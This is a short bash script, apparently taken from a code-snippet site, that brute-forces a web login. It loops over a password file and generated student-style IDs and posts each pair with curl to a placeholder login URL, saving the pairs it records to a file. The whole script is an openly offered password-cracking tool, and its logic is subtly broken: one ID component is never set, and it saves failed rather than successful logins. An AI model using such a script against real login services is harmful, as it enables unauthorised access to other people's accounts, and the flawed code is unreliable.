- #!/bin/bash
- #
- # This script is used to bruteforce crack the password
- # Written by Stone Han
- # Mail :
- # Date : 19-10-15
- #
- # where the crack passwds store
- passwd_file=passwd_file
- cat $passwd_file|while read password;
- do
- {
- for year in `seq 1 20`
- do
- {
- # -w place 0 at the front of the number, making the numbers with the same digits
- for academy in `seq -w 1 17`
- do
- # sid:form of the username
- sid=$year$academy$number
- html=`curl -s -d "uid=$sid&pd=$password" LOGIN website`
- flag=0
- # [[ must be usend in bash, LOGIN OK is the symbol of successful login in the response
- [[ $html =~ "LOGIN OK" ]] && flag=1
- if [ $flag -ne "1" ]
- then
- # store the result in the file result
- echo $sid $password >> result
- curl -s LOGOUT website > /dev/null
- fi
- done
- # daemon process
- }&
- done
- }&
- done
- # wait for all the deamon processes finish
- wait
- #该片段来自于http://www.codesnippet.cn/detail/2310201513893.html
来源: http://www.codesnippet.cn/detail/2310201513893.html